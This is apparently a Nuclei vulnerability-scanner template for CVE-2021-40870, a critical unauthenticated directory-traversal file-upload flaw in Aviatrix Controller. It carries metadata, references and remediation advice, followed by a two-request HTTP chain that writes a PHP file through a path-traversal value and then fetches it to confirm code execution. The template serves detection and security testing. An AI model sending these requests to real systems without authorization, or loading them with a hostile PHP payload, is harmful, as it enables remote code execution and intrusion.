53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2021-40870
|
|
|
|
info:
|
|
name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
|
|
remediation: |
|
|
Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
|
|
- https://wearetradecraft.com/advisories/tc-2021-0002/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40870
|
|
- http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-40870
|
|
cwe-id: CWE-23
|
|
epss-score: 0.9088
|
|
epss-percentile: 0.9852
|
|
cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: aviatrix
|
|
product: controller
|
|
tags: intrusive,packetstorm,cve,cve2021,rce,aviatrix,kev,fileupload
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /v1/backend1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("CVE-2021-40870"); ?>
|
|
- |
|
|
GET /v1/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '0d95513363fd69b9fee712f333293654'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a004630440220275494d99a3a66e2b043d8e8b6cffc4b1a82e6d839be8e8961f12607497ee07202205e41e858ab804a90b1d30155e731e57be10fef7599f22e25c2e9a302771080c1:922c64590222798bb761d5b6d8e72950
|